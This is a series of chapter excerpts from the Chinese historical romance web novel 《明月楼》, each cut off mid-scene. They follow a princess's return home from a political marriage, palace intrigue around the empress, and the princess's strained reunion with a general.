阿穆苏一怔,质疑道:“你的身份敏感,若是暴露……” “所以我没打算遮掩。”黎娘子:“就以‘黎娘子’的身份回去,面见皇帝,与大齐交好。” 梨花寨这些年独来独往,暗中也只是与西戎有过商贸往来,若大齐抛来橄榄枝,她愿意促成修好之事。 另外,公主回去无人帮扶,总要有个干活的在。 阿穆苏望她很久,之后移开视线:“你还真相信我。” 虽然他手里没什么实权,但也是西戎正儿八经的可汗。梨花寨从前与西戎来往,现在要去接触他们的对手大齐,就这样堂而皇之告诉了他。 “毕竟是盟友。” 手中酒再度饮尽,黎娘子摇了摇空空的酒坛,朝他道:“你还是多留意着吧,万一一不留神真被你叔父拉下马,梨花寨可没法帮你。” 说完,她率先起身离开。那片绿叶被随手一扔,恰好穿过他耳下挂坠的流苏缝隙,带起一阵细微的风。 阿穆苏望着她远去,直到几乎看不见,才自言自语般说:“你太小瞧我了。” --- 十日后,虞静央的身子基本痊愈。自那日银兰离开,南江人就没有再来过,也许是被萧绍震慑,也许是因战事分身乏术,无论怎样,对虞静央来说都是有利的。 现在,她唯一需要做的事就是等待,等待大齐朝廷的回音。 “殿下,殿下,圣旨到了!” 7. 玉碎 《明月楼》全本免费阅读 周围的副将帮着回答:“殿下不知,萧将军表字继淮,还是陛下当年亲自取的。” 虞静央从前确实不知,现在不免心中微动:“原来如此。” 她眸光轻黯,霍侯看在眼里,却也无法安慰什么,只有道:“大齐边境还算安定,后续会由守将继续巡守。还望公主殿下安心,待手头事务处理结束,臣与继淮便启程护送公主回京。” 虞静央感受得到善意,轻声应下。 旨意已经带到,霍侯没有多留,安抚几句后便带着众人离开。虞静央目送他们出帐,随后心头一缓,彻底放松下来。 尘埃落定。 她将回到阔别五年的母国,而非南江。 晚棠情绪仍无法自禁,含着泪祝贺主子终于得偿所愿,被虞静央扶了起来。 今日得到的结果在她意料之中。不说她昔日是否有亲人的宠爱,有无父兄撑腰,只说这一个和亲公主的身份,对外就代表着大齐的脸面。南江王室敢扔下她逃命,就是将大齐的脸面踩在地上碾,若大齐对此毫无反应,最后还巴巴地把她送了回去,那才是一点尊严都不要。 虞静央敢放手一搏投奔大齐军营,就是看准了这一点。既然南江不珍惜这段姻亲关系,大齐便无须再客气下去了,总要让他们长长记性。 不过…… 按照圣旨中的意思,她只是“回京暂避”,这也就意味着自己与南江的关系未断,也许父皇只是想借此机会敲打南江,待到时机成熟便会松口,同意她启程回去。 虞静央猜不出别人的打算,但清楚自己的决心。既然大齐给了她这个机会,她便不会坐以待毙,要尽力谋划,把自己的命运握在自己手里。 一别数年,那些不堪的故人旧事,也是时候该重提了。 虞静央眸色微冷,想起一人后,不由微微松弛下来。 萧绍在那封传向玉京的奏疏里是如何说的,她不得而知,但可以确定他半点没有应付,在争取她回国这件事上出了大力。过了这许多年,就算他对她没了曾经的情意,也是一个值得信任的人。 日后,她还有很多用得上他的地方。 虞静央思忖着,脑中一闪,思绪又默默地跑偏。 继淮,他的表字。 淮州军的淮,寄予的厚望不言自明。再看如今他的模样,该是没有辜负众人的期望。 他成长了很多,与从前不同了。 只是……真的全然不同了吗? 帐外传来通报,说萧将军带着朝廷的赏赐过来了。 虞静央把圣旨收起来,有七八人捧着各类衣食用物入内。萧绍缓步跟在最后面,正正与她对上了视线。 一段时间过去,两人之间基本没有了南江使者到来那天的局促和不自然,保持了体面有礼,然而过分的客气也不免暴露了生分和疏离。 这次虞静央没有移开眼,柔声细语道:“多谢萧将军相助。” 萧绍知道她在谢什么,回道:“让殿下回京是陛下的意思,臣并未做出什么贡献,殿下不必言谢。” 他要自谦,虞静央便没继续说下去,手指绞了绞帕子,主动起身去看送进来的东西。 为着大军即将拔营的缘故,朝廷的赏赐里少有沉重不易携带的大物,知道她随军用不上金银盘缠,于是更多的是一些精致又轻便的衣裙首饰,还有胭脂水粉和药材,赐给她这个凄惨病弱的公主确实十分合适。 虞静央目光逡巡着,忽而顿住。 这是…… 萧绍望了望她,适时道:“这是晋王府送来的。” 虞静央心头轻颤。这些点心零嘴,全都是她出嫁前最喜欢吃的,还有一小碟青梅糕,因为担心路途遥远食物变质,用了冰鉴保存。 哥哥……依然还念着她吗? 幼时兄妹俩在一起玩耍的场景,虞静央早已淡忘,但仍记得出嫁离宫那日兄长的眼神。她从未见过那样复杂的目光,明明含着强自掩饰的不舍,可其中又有失望,有痛心。 她等了很久,最终都没有等到他走到她的鸾轿面前,对她说一句“一路保重”。 虞静央眼中蓦地一热,险些落下泪来。 哥哥最是个重视手足之情的人。她知道是什么事令他感到失望,却没有机会解释半句。 萧绍关注着她的反应,吩咐道:“点心留下,剩下的东西都收起来。” 侍从应了,把呈放着点心的银盘放在桌上,悉数退了下去。 萧绍过来只是为了送东西,面色如常向虞静央见礼,欲转身告退时却被叫住了。 虞静央:“萧将军自谦不愿居功,可本宫也不愿欠将军人情。待到回京,本宫定寻机会亲自登门拜访,携礼表达谢意。” 她朝他走近两步,继续说:“到时还望将军与夫人担待,莫要嫌本宫叨扰才好。” 听到“夫人”两个字眼,萧绍顿了顿,随后明白了她在说什么,罕见地露出个笑来。 “殿下点名要见臣的夫人,还真是想得周到,是担心与臣单独相见会惹得内子不快吗?” 他笑意未达眼底,虞静央忍着加快的心跳,回道:“这是自然。同为女眷,说话做事总是方便些。” 萧绍眯了眯眼:“殿下在南江五年,行事倒比从前周全了许多。” 虞静央面色骤然发白。 其实刚说完,萧绍就意识到自己说错了话。可说出去的话泼出去的水,他收不回来,也拉不下脸道歉,只有转移话题:“臣还有事,就先告退了。” 虞静央没有留他,沉默着等他离开,却忽然眼前发黑,眼见就要向后倒去。 晚棠惊呼:“殿下,你怎么了殿下!” 萧绍听见动静立刻回头,一个箭步冲上前,眼疾手快扶住了她。 虞静央的身体仍处于虚弱状态,许是方才站得久了,便有些体力不支。她眼前黑影渐渐消去,几息后才彻底清明。 掌心炽热的温度顺着衣裙传进皮肤,虞静央意识到现在姿势的不妥,便要撤开一步推开他,不忘轻声道谢。 “多谢——” 话音未落,虞静央袖中掉出一块玉佩,没 8. 坤仪 《明月楼》全本免费阅读 玉京,钟鼓楼数声响起,天色已暮。坤宁宫外,半人高的庭燎被宫人一一点亮,整座殿宇更显恢弘端重。 “陛下驾到——” 殿外黄门高声唱报,宫人齐齐俯首跪迎。皇后关氏从内殿出来,对着大步而来的男人屈膝。 “妾身参见陛下。”关皇后低首请安,姿态端庄恭谨。 虞帝只在她面前停了一下,道声“起来”后径直入殿。关皇后面上闪过暗色,随即从善如流,跟在皇帝身后走了进去。 坐在软榻边,关皇后捧出早已备好的参茶,不忘柔声道:“陛下政务繁忙,还抽出时间来探望妾身,妾身很高兴。” 虞帝接过啜了一口:“既是早派人来传过话,朕自然不会失信。” 他面色平淡,关皇后也不灰心,含笑道:“前段时日听父亲说起,南江战火将熄,我大齐边疆也能安定下来。如此,想来继淮很快便能回京复命了。” 提起萧绍,虞帝神情柔和几分,却仍不肯松口:“死心眼的浑小子,跑去消磨躲懒数月,回来只怕都懈怠了。” “陛下言重,边疆艰苦,继淮又惯是个稳重的,这一番历练下来,想必心性更加沉稳。”关后笑着回。 圣旨已然下达,第一时间传到了坤宁宫,关氏不会不知情。虞帝不信她今晚费心邀自己过来只为说这些,不动声色用着参茶,等待她的下文。 果不其然,闲谈片刻后,关皇后开口了:“三公主不日将要回京,不知陛下打算如何安排?” “朕已下令重新修葺公主府,等到央儿回京,就如旧在府上安置。”虞帝脸色如常,仿佛那道圣旨并非什么事关社稷的重大决策,只是单纯召自家女儿回家,连称呼都是亲昵的小名。 关皇后感慨:“当年三公主执意远嫁南江,看那南江王子一表人才,本以为是良配,不成想所托非人。南江王室冷血寡情,让三公主受苦了。” 关氏碧玉年华嫁与虞帝,现今年近四十,面上已生了细纹,忧虑关切的模样好像真是一位慈母。 虞帝拍了拍她手,顺着她的话道:“皇后一腔爱子之心,朕心中明白。” “只要陛下知晓,妾身便安心了。” 关皇后柔婉一笑,忧思忡忡道:“可三公主到底已经为南江妇,就这样一直在玉京住下去,也不是个法子……若过段时日南江催促,为免伤及两国情谊,我大齐也难以强留。” 虞帝不会听不懂她的弦外之音:“依皇后的意思,朕似乎应该直接送央儿回南江。” “妾身不敢!”关皇后忙请罪,咬牙冒险道:“妾身是三公主的嫡母,何尝不希望她过得顺心?只是陛下,到底要考虑如何应付南江那边啊。” 虞帝迟迟未作回应,过了许久,才喜怒莫辨地发话:“皇后一心为社稷考虑,何错之有?起来吧。” “谢陛下。” 关皇后这才扶着侍女起身,然而下一秒耳边的话就像惊雷炸开:“五年前老二和老四中毒一案,当真是老三做的么?” 她身子骤然僵住。 虞帝望了关氏一眼。当年的事他心中尚有疑虑,奈何遍查不获,找不出虞静央清白的证据,后来她以此罪名自请和亲,他最终应允,可心中怀疑的种子就此种下,便难以铲除。 老三像她母亲,性情倔强又刚烈,却心有傲气,并非歹毒没有分寸的人。说她主动对亲生手足下手,虞帝心里是不信的。 关皇后压下心中骇然,镇定道:“陛下这是何意?当时是三公主主动认下的罪名,莫非还有人能逼迫她?” “朕也只是随口一问,皇后不必着急。”虞帝收回目光,“都是过去的事了。央儿回京在即,朕相信皇后定会不计前嫌,善待于她。” 话已经说到这个份上,关氏自然听得懂,陛下这是敲打她呢。有了今日的承诺,若虞静央在京出了任何事,都是她这个皇后的失职。 关皇后屈膝:“这是自然。陛下不必担心,妾身定会悉心照拂三公主,不出任何岔子。” “你做事,朕一向放心。” 虞帝扶起她,温和道:“此次治水的有功之臣刘运乃是关氏门生,待其回朝复命时,朕会为他加封爵位。” 关皇后噙笑:“能为陛下分忧,是关家的幸事。” 帝后两人寒暄一阵,快到就寝时分时,虞帝起了身。关皇后一急:“天色已晚,陛下还要走吗?” “朕还有政务需处理,皇后早些安寝。” 虞帝没再停留,在宫人簇拥下跨出殿门。关皇后蹲身恭送,待人离开方站起,面上添了一抹不甘。 身为中宫皇后,皇长子却非她所出,本就是个不小的威胁,可她却不能抱怨一句。只因天子微末时所娶之人早逝,虞帝又对其念念不忘,缅怀至今。 姜氏死得早,却留下了虞静延和虞静央,还有一个处处与他们关家作对的亲族。 想起那个死了却似活着的女人,关皇后眼中是不加掩饰的怨毒,更加深了对其女的恨。 虞静央啊虞静央,你还真是命大。明明都被扔在了战火堆里,竟还能大难不死逃回来。 以为自己平安回到大齐,就能留下一辈子吗? 关皇后冷冷想着,可想起虞帝方才的话,心头不由一紧。陛下那样问,难道是发现了什么? 这些年虞帝厚待关氏一族,但一旦触碰底线也不会姑息。 关皇后忍着一团乱麻的心,吩咐身边的心腹:“告诉父亲一定谨慎处理,凡是参与过当年之事的人,一个都不留。” --- 马拉着车轮辘辘向前,被军队浩浩荡荡簇拥着行进,车轮碾过地面融化的冰碴雪泥。 巡边任务顺利完成,边疆形势见稳,一行人踏上返回玉京的路。为保公主凤驾安全,随行军中最精锐的士兵紧跟在马车周围。 正值正午时分,途经地方又不太平坦,坐在马车里颇为颠簸。虞静央被晃得头晕胸闷,本想透一透气,不料刚掀开帘子,就正正对上萧绍那张面无表情的脸。 < 9. 伤逝 《明月楼》全本免费阅读 她扶着晚棠向马车方向走,一边望了望远处,问身边跟着的士兵:“这位小将军,不知我们现在在什么地方?” 士兵被一声“小将军”弄得局促,恭声回道:“回殿下的话,此地名叫素月山,在骞州地界。” “骞州?”虞静央没来过这里,不禁疑惑:“据我了解,自边境回玉京途经之地并无骞州。” 士兵对答如流:“殿下所说应是另一条路,渡过大江后自孟州取道。骞州路途远了一点,但胜在没有水路,萧将军知道殿下晕船,才特意选了这条路。” 虞静央自动忽略了某人的名字,含笑继续与人闲谈:“原是如此。听闻骞州风景壮丽多山,现在一见果真名不虚传。” “殿下没去过丹州,那里才是真壮美呢!实在——” 小士兵没说完,背后出现了一个高大的身影,终于意识到自己说多了话,连忙噤声退下。 交谈被人打断,虞静央也不恼,早就调整好了心里那点焦躁感:“萧将军还有话对本宫说?” 她笑意清浅,对谁都是一个样。萧绍沉声道:“大军将要启程,请殿下上车。” 虞静央颔首,扶着车木踏了上去,半个眼神都没给他留。 “多谢萧将军替本宫着想,选了一条好走的路。”她的声音从车窗内传来。 萧绍脸上没有什么情绪:“为君着想,本就是臣的本分。” 话茬又被聊断了,虞静央压下心中不快,道:“方才那个健谈的小将军呢?请萧将军帮我唤他过来。” “殿下要做什么?” “本宫有些无聊,想听他说一说丹州的风景。” 萧绍目光忽而变冷,语气不算好:“他是军中后卫的人,抽不开身来陪殿下。殿下若想解乏,大可同晚棠姑娘说话。” 马车里,虞静央扔下了帕子,从前对此人的愧疚之感在此刻荡然无存,不明白他为什么说话那么冲,还总是拉着个脸。 既然他已有家室,她也不是不懂得分寸的人,从没有主动做过什么越界的事。难道做不了一对,就连表面过得去都不能维持了吗? 虞静央这样想着,便也这样说出了口:“萧将军态度如此冷淡,难道就是臣对君的模样?若让陈夫人听见了,怕是要教训将军一番。” 她不无快意地搬出了陈夫人。从前萧绍最怕他母亲,现在长大几岁,这份惧怕就会变少? 虞静央觉得不会。 萧绍果然不说话了。虞静央在心里大呼痛快,以为是他怵了,正等着他向自己赔罪,却听外面传来一句:“要是她真能听见就好了。” 虞静央愣了愣,下意识掀开车帘,而萧绍没有再看她,一夹马腹离开了马车旁边,背影竟有些孤寂。 “殿下竟不知吗?”后面跟着的小兵赶了上来,压低声音解释道:“萧将军的母亲在几年前就病逝了。” 虞静央僵在原地,心中惊愕不已。 陈夫人去世了? 印象里,陈夫人性格豪爽泼辣,虽然身有旧疾,却最是潇洒看得开的性子。正是因为太明媚开朗,所以虞静央从未想过她会离开。 虞静央哑声问:“什么时候的事?” “应是昭宁十五年的冬日,陈夫人旧疾发作。” 她于昭宁十五年秋启程前往南江,也就是说,在她离开后不过三个月,陈夫人便逝去了。 虞静央面色发白,更明白了萧绍性情大变的原因。 那个时候,他是怎么熬过去的? --- 晋王府。 夕阳落山,正院书房里点起了明烛,侍奉在房中的小厮如常屏息噤声,以免扰了主子办公。这时候,门外传来一阵流苏环佩的泠泠轻响。 管事的张栩听声一振,轻声提醒主子:“殿下,王妃来了。” 几息的功夫,外面的侍卫已经开门迎祝回雪进来。虞静延手头事务还没看完,看她过来只轻应了一声,便又低下头。 这几年虞帝重用膝下皇子,虞静延身为长子,肩上担子总是比旁人重一些。祝回雪早已习惯,照常把食盒交给张栩,又轻声交代几句,便立在他身侧静静候着。 大约过去半盏茶的功夫,虞静延放下了手中公务,目光转向祝回雪。后者含笑,关怀道:“妾身做了夜宵,已经让张栩去热了,稍后殿下用一些吧。” 虞静延面上冷峻之色有几分松动:“王妃费心了。这个时候过来,是有什么事吗?” “确是有事要问殿下的意思。是妾身办事疏忽,竟忘了明日是徐妹妹的生辰,如此,就恰好与回祝家的日子撞上了。” 前日祝府递了消息,说祝老爷子在外钓鱼时不慎跌了一跤,现在正卧床养伤。祝回雪从小与祖父最亲近,得知后心急如焚,虞静延明日闲暇,便打算陪她一起回祝家探望。 徐侧妃在晋王府是个微妙的存在,而她也知情识趣,从来低调度日。也正是因为她太低调,祝回雪险些忘了她的生辰,临到今日才骤然想起来。说巧不巧,这两件事恰好在同一天撞了个正着。 祝回雪观察着他的脸色,缓缓道:“祖父向来身子硬朗,应该没有什么大碍。妾身想着,不如到时殿下就留在府上陪陪徐妹妹,妾身独自去祝家探望也无不可。” 徐家是关氏的拥趸,而虞静延母族姓姜,向来与关家不对付。徐侧妃由关皇后塞进晋王府,虞静延对其不冷不热,表面周全却也是过得去的。 按照惯例,当日他该去徐氏房中。 晋王府后院妃妾寥寥,数年以来,虞静延对待后院的态度并不热切,待事待人多是循旧例而为,鲜少有破格之举。祝回雪想着他会应允,后者沉吟俄顷,开口却是:“不必了。” 祝回雪一怔,又听他道:“许久不见老太傅,也该去瞧一瞧。当日我们早些启程去祝府,晚膳前我先行一步归府,再去落云轩便是。” 这样的安排是两全之法,但行程仓促难免劳累,本不在祝回 10. 归巢 《明月楼》全本免费阅读 雨水湿滑,祝回雪走得比平时慢一些,回到了正院住处。 今晚乐安睡得早,送走张栩,祝回雪拿了本书看了一会儿,过后放下,坐在桌案前提起了笔,手边铺着先前写好的手稿。 一旁的侍女初桃看在眼里,担忧道:“王妃怎么又开始写了?要是让殿下知道……” 听到虞静延,祝回雪流畅书写的笔尖倏一停顿,一团墨迹在纸上洇开。 “殿下现在不会过来,放心吧。”她垂下眼,继续动笔。 “这么些年过去,王妃还是不肯放下吗?” 祝回雪不言,初桃继续道:“前年殿下帮助王妃在外刻了书,又放在书铺售卖,已经是十分出格的事……王妃,君心难测啊。” 祝回雪何尝不知这个道理。从前她随祖父游历山水,最喜欢把自己的所见所闻记录下来,渐渐写下了不少游记书籍,在民间颇为畅销。可是现在她的身份不同了,作为晋王妃,她不该再像从前一样写这写那,让自己的笔墨混迹在市井之间。 虞静延知道她过往的喜好,虽然没有明确表达过不喜,但祝回雪心思通透,岂会不明白他所想。那次是他看在夫妻情分上才出手帮衬,为她刻印了新书,事后祝回雪向他道谢,当然知道这样的事,以后绝不能再有。 在这偌大的晋王府,晋王是最大的主君。她若知情识趣,就该放下写作这无用的爱好,今后一心一意相夫教子。 可是…… 祝回雪低垂着眼,无声捏紧了手中的笔杆。 她已经为了家族责任放弃了属于自己的自由,现在连这点喜好都不能留下吗? “我只是随便写写,不会再拿出去的。”祝回雪声音微哑。 如果自己笔下的文字注定不能见于天日,她也会一直写下去,情愿孤芳自赏。 “王妃能想明白就好。” 初桃心里也不好受,却也只有时时提醒,让主子保持清醒:“现在王府只有小郡主一个孩子,久无皇孙降生,宫里宫外已经颇有微词……主子,若是再这样下去,恐怕府上就又要添一个徐侧妃了。” 乐安出生已经是四年前的事,腹中久无所出,这才是压在祝回雪心头最重的一座大山。她在生乐安时伤了身子,悉心调养好几年,至今依然不见再传喜讯,奇怪的是府上其他侍妾通房也毫无音信,若不是已经有了一个小郡主,外面还不一定怎样议论呢。 坤仪宫关皇后非虞静延生母,却十分热衷于插手晋王府内部的家务事,前前后后塞了不少人进来。要是王府现状难以改变,关氏的心思就又要活泛起来了。 祝回雪没了书写的心思,终是搁下毛笔,吩咐初桃:“上次宫里送来的药膳,再去帮我热一碗吧。” 是啊,她这个晋王妃现在最大的任务就是怀上子嗣,为陛下添一个长孙。只有这样,虞静延在朝中才会如虎添翼,得到更多人的支持。 -- 酉时未过,天色已经变得漆黑,书房里的下人又点起了两盏烛台。虞静延仍在处理堆积的公务,在看一封信件时陡然皱起了眉。 继淮离京后,曾派人暗中前往陇西一带探查。数十年前姜家跟随当今陛下起事时,已经是陇西影响力超然的望族,现下族中嫡系悉数移居玉京,但陇西地界的势力犹在。 也就是说,现在的陇西仍是姜家的地盘,但继淮的人却在那里发现了商贸走私的痕迹。其中,矿石金属乃是大宗。 虞静延锐利的眸光盯着纸张上某处,手指微微用力,昭示着内心的不平静。 西部矿地众多,陇西则是周边最富庶的地带,最初的姜氏也依靠矿产发迹,不会不知矿石对一国社稷之重,为何会犯这样的大错? 虞静延的母亲姜夫人早逝,对母族的感情却很深厚。他的舅父姜侯为人刚直清正,最是个眼中揉不得沙子的人,若说是他主使所为,虞静延不相信。况且玉京与陇西相隔甚远,最初发迹之地出了什么异常,未必是玉京的姜府能察觉到的。 这样说的话,姜氏内部很可能已经不干净了。 张栩送走祝回雪,悄然回到了书房,弯着腰请示:“殿下,可要把王妃送来的夜宵呈上来?” 白天没有正经用膳,虞静延现在确实有些饿了,便点了点头。 张栩松了口气,忙招呼下人把热过两遍的夜宵布置好,见主子拿起了碗筷,悄然放下心。今日事务繁忙,殿下一整天都没吃什么东西,好在王妃送来了夜宵。 这么多年,凡是王妃拿来的吃食,殿下总会用完的。 --- 朝霞映日,柳絮漫天。自边境而来的军队越过数个州郡,终于在这日清晨踏入了玉京城门。 绣顶马车在士兵护送下穿过一条条繁华的大街,虞静央坐在车中,可以听见沿路百姓的议论声。 “宣城公主为国远嫁他乡,竟还能回来,当真是有福之人!” “听闻南江王室苛待公主多年,照我说,公主都回来了,何必还要去那蛮夷之地受苦!” “别胡说!小心被人听见……” 隔着车帘,虞静央手帕掩着唇低低咳嗽几声,目光却十分清明。 自古以来,能平安回到故国的和亲公主少之又少,虞静央是大齐的公主,但也在某种意义上代表着南江,因此要以国礼相待。 宫门外,众人已在翘首等候。天子亲自迎接,文武百官身着朝服跟于其后,神情肃穆,随着绣着“萧”字的军旗缓缓出现在道路尽头,人群无不一振。 虞帝抬高脖子眺望,大太监钱顺海明白几分,笑着道:“陛下瞧,三公主的马车过来了!” 虞帝没有斥责钱顺海不懂规矩,依旧远远张望,目光始终停在那辆马车身上。关皇后凤袍翟冠立在一旁,眼底闪过不忿。 军马停步,为首的霍侯和萧绍先行下马,跪地向御驾复命,随后公主仪仗散开,马车停在重重玉阶下。 入玉京城前,虞静央换上了南 11. 棋局 《明月楼》全本免费阅读 钱顺海等人大惊,连忙去看皇帝的脸色,不料虞帝不惊不恼,而是拍了拍她的肩头,道:“你不想回去,那便不回了。” 虞静央没想到事态发展会如此顺利,可虞帝神色认真不似玩笑。她来不及多想,伏地哽咽道:“儿臣谢父皇垂怜。” 虞帝轻叹:“朕是你父皇,岂能不疼你?当初之所以送你去和亲,也不过是权宜之计,若不是你执意请旨,朕是断断不会舍下你的。” 想起当时被迫离开的缘由,虞静央脑中一热,坦白道:“父皇可信儿臣?当年之事非我所为,谋害二哥和四妹的其实另有其人!” 她心一横,近乎乞求道:“若父皇信任儿臣,便彻查当年案情,还儿臣及整个公主府的清白!” 虞静央的话如同一声惊雷在殿中炸响,然而,虞帝面上竟没有露出一丝一毫类似意外或震惊的神情,仿佛早就知情,面对她的恳求也没有立即说话。 许久之后,虞帝才说:“你年纪还小,有时不明白道理也是正常的。可是央儿啊,有得必有失。” 他安坐在圈椅上,神色不辨喜怒:“当年的事过去太久,已没有人记得了,你也不必再耿耿于怀。” 虞静央面带错愕,半晌才找回自己的声音:“父皇这是什么意思?” 虞帝:“除了皇室中人,民间百姓无人知晓此案,况且时间已经久远,没有必要再兴师动众地查。央儿,对你来说,留在家中才是最为紧要的事,不是吗?” 虞静央静静听着,明白了他的言外之意,一颗心轰然摔到了谷底。 一刹那,她突然反应过来,为什么自己的父皇主动开口,一定要为她满足一个“愿望”。 虞帝早就猜到了她会请求什么,也压根没有想过拒绝,因为南江国力渐衰,大齐早就没有了忍让的必要。他爽快地答应了她的要求,是为了在这里等着她。 所谓“愿望”,并非是一位父亲一时起意给女儿的补偿,更像是一种要挟的筹码。 虞静央心下清明,背后窜起的一阵凉意沁入四肢百骸。 是了,他是天子,有什么事能逃过他的法眼呢?或许早在她当年请旨的时候,她的父皇就已经意识到了下毒案的不简单,甚至心里早有怀疑的人选,只是他没有说。 谋害皇嗣这样大的罪名很少有人敢碰,一旦清查凶手,很有可能牵一发而动全身,引发前朝动乱。而在他眼里,朝堂势力的平衡与安定,远比一个女儿重要得多。 虞静央明白自己肩上的责任,却还是不死心,希望能得到一丝来自父亲的怜惜。可她早该想到,得到这份怜惜是有条件的。为了大局,她必须继续背着“谋害手足”的罪名,不能否认,不能辩解,就连自己最亲近的人也不能知道真相。以自己的名声为代价,换得留在大齐的资格。 纵使是亲女儿,也不过是他棋盘上的一颗棋子罢了。 虞静央没说出话,只觉得眼前的人是前所未有的陌生,因再见至亲而温热起来的心又渐渐归于沉寂。她的父皇一手建立起大齐,在这个皇位上坐了十九个年头,再也不是从前那个温和亲切的父亲了。 虞静央面色微白,最终扯出个笑,得体道:“儿臣晓得,定不会让父皇为难。” “你能明白就好。”见她懂事,虞帝神情舒展,很快又眉头一皱,对她道:“南江的衣裳太难看,一会儿去换一身,这衣裳以后就不必穿了。” 这是有意让她弃掉南江储妃的身份。虞静央压下心头那点寒意,面上笑意真切许多:“是。” 钱顺海这时禀报:“陛下,霍侯和萧将军已在书房候着了。” 萧绍刚刚从边疆回来,一定有军务要面圣禀报的。虞静央识趣道:“那儿臣便告退了。” 虞帝没让她走,而是问:“前段时间你与继淮同在一处,相处得如何?” “颇为疏淡,并未说过几句话。”虞静央心中清楚,回道:“父皇放心,既然萧将军已然成家,儿臣不会不懂分寸。” 成家? 虞帝怀疑:“他是这么跟你说的?” 虞静央一愣,迟疑着点了头。虞帝在心中轻叹,继淮宁愿用这种理由也要和她划清界限,看来二人之间的情分是真的断了。 “也罢。”虞帝摇了摇头,让女官带着虞静央退下了。 -- 这次宴席的目的是给她接风洗尘,面对关皇后的热情,虞静央没有推辞,依照安排坐在了玉阶下最前首的位置。 由于有外臣在场,宴席席位男女分置,以高大的雀扇屏风相隔开。虞静央看不见隔间的情形,只是安坐在自己的席面前,已经感觉到好几道心思各异的目光若有若无投来。 她听父皇的换下了南江服饰,再着大齐裙裳,在其他人看来无疑是一种隐晦的信号。想必现在就有很多人正暗暗揣测呢。 虞静央装作不知,小口啜饮茶水,不动声色抬眼一扫,见属于四公主虞静澜的桌案后空空如也,无人出席。 宫人有序入殿,一一奉上热酒御膳,她的桌案上摆放着的膳食犹为精致,却不是中原的菜式。 如果没有猜错,负责这场宴会的人是关皇后。 虞静央眼底蓦地冷了下来。 这时关皇后正好开口,笑道:“三公主在南江多年,想必对这些饭食是极为熟悉的。本宫不知你饮食喜好可有改变,便自作主张为你添了几道南江的菜式。希望合你心意才好。” 虞静央对关氏的意图一清二楚,无非是打着关心的旗号在她心里插刀,想让她不好过。可惜对于这样不痛不痒的小伎俩,她不会坐不住。 当初她被迫离开大齐就是关氏一手促成,如今她又回来了,真正堵心的还不知是谁呢。 日子还长,且等着吧。 虞静央露出个感激的笑,主动向关氏举起酒盏:“多谢皇后娘娘挂心。” 关皇后笑容更深,亲眼看着她执起银箸,每道菜都尝了尝。 没过多久,一个衣冠华丽的老妇人说话了:“三公主喜欢南江菜式,看来在那边的日子还算习惯,既如此,为何又把入宫时那套南江衣饰换下来了呢?” 老妇人头发花白,声音却中 12. 无愧 《明月楼》全本免费阅读 关皇后被落了面子,却也无法再说什么,只有保持着笑容:“有皇姐照看,本宫就放心了。” 豫阳长公主的驸马死于跟随虞帝征战的途中,是大齐建国的股肱之臣。之后的十几年里,长公主独自孀居没有再嫁,一心抚养虞静延和虞静央兄妹。因此虞帝对她亲近又敬重,关皇后身为弟媳,自然也要礼敬着。 宫人很快布置好了属于长公主的席位,豫阳颔首,随指引入座。 丝竹舞乐再起,众人各自饮酒用膳,一时无话。就在虞静央感到困乏之际,豫阳长公主抬眸一睨,如话家常那样训她:“不成器的妮子,家里的酒就这样好喝?还不快出去透透气,莫失了仪态。” 她的口吻毫无对所谓南江王子妃的礼待,听起来是训斥,实则处处透着长辈对小辈的宠爱和纵容,何尝不算一种撑腰。 若虞静央只是公主,感到疲倦,自然可以全无负担地离席透风,可她偏偏身上还有另一重微妙的身份,即使自己不介怀,在旁人眼中却不容易忽视。 姑母是看出她的为难,特意为她寻方便呢。 虞静央冲她一福:“谢姑母体恤,我这就去。” 说罢,她又对关皇后一礼,扶着晚棠离席。 --- 走下重重台阶,恢宏的殿宇后面有一片亭台镜湖,尤为雅致。初春寒凉的微风一吹,虞静央的倦意登时去了大半,好在穿得厚也不觉得冷,索性在湖边石亭里小坐。 晚棠就跟在她身边,指着一处道:“殿下快瞧那里,原先本有处石拱桥的,现在可不见了。” 虞静央顺着她手指一望,果真见与记忆中的模样有所出入。 白天进入玉京城门后,她就感觉到了民间气象的不一样,远比昔日更加活跃和安宁。宫里也不止这里一处石桥有了变化,回想方才见到的乾安宫、懋宁殿等诸多宫室,明显都整修过不久。 “我们离开太久,许多地方都与从前不同了。” 坐在低处亭中,目光越过高大常青的绿树,恰好可以窥见一处典雅大气的琉璃飞檐。虞静央感到有些熟悉,却又回忆不起来是哪座宫殿,便询问晚棠:“那是什么地方?仿佛比乾安殿还好看。” 晚棠想了想,小声答:“这个位置……似是青鸾殿呢。” 虞静央望着,月亮从层云后现身,柔光照在那处殿檐上愈发流光溢彩。 青鸾殿,是大齐初立时虞帝专为夫人姜氏建造的宫室,然而姜氏早早仙逝,终究没能用上。即便如此,宫人依旧奉旨时时洒扫这座殿宇,不使其废弃冷落。现在看来,宫中有时修葺主要宫殿竟也没有忘了这里,恐怕材料和陈设都用得是最好的。 若当年母亲妥协,今日便是住在这里了。偏偏她生了一副宁折不弯的傲骨,注定不会低头。 父皇自以为对母亲情根深种,过了这么多年,还是不明白她真正想要什么。 虞静央顿时没有了兴致,正打算回宴,身后有人唤她:“三姐姐,真是好久不见了。” 少女从拐角暗处缓缓走出,着一身浅金红色罗裙,面色却不像衣着那样明媚。一个年轻男子跟在她身后,容貌称得上端正,只是看向虞静央时神情阴沉。 尽管五年不见,虞静央也很快认出了两人,于是停下步子:“二皇兄,四妹妹。” “在三姐姐眼里,竟还有什么手足之情吗?” 虞静澜冷笑一声,走到她面前:“今日宴席可是为你所办,专门庆祝你大难不死,自南江平安归来。三姐姐如此风光,怎还溜出来躲懒,难道是因为自知做过亏心事,所以心中难安么?” 她说话咄咄逼人,虞静央眸中一沉,想要替自己辩解,可又想起在乾安宫时达成的那桩“交易”,只得避而不谈,咬牙与她打太极:“四妹妹这是说的什么话?本宫不懂。” 虞静澜恼怒不已,正欲继续理论,二皇子虞静循在她身边靠后一点的位置,冷冷道:“敢做敢当,不是当年三妹自己说的吗?以为现在不承认,便能掩盖过去的罪行?” 虞静央刚回到玉京,尚且没有机会重查旧事,现在又被虞帝封了口,只有暂且示弱:“我履行约定远嫁南江,现在不过是有幸才免遭一死。既然二皇兄和四妹妹顾念手足之情,便不要再为难我了。” 她语气和缓,几乎是主动示好,年少时霸道刁蛮的气势荡然无存。虞静澜却怒火更甚,尖声道:“我们为难你?明明是你先变的!” 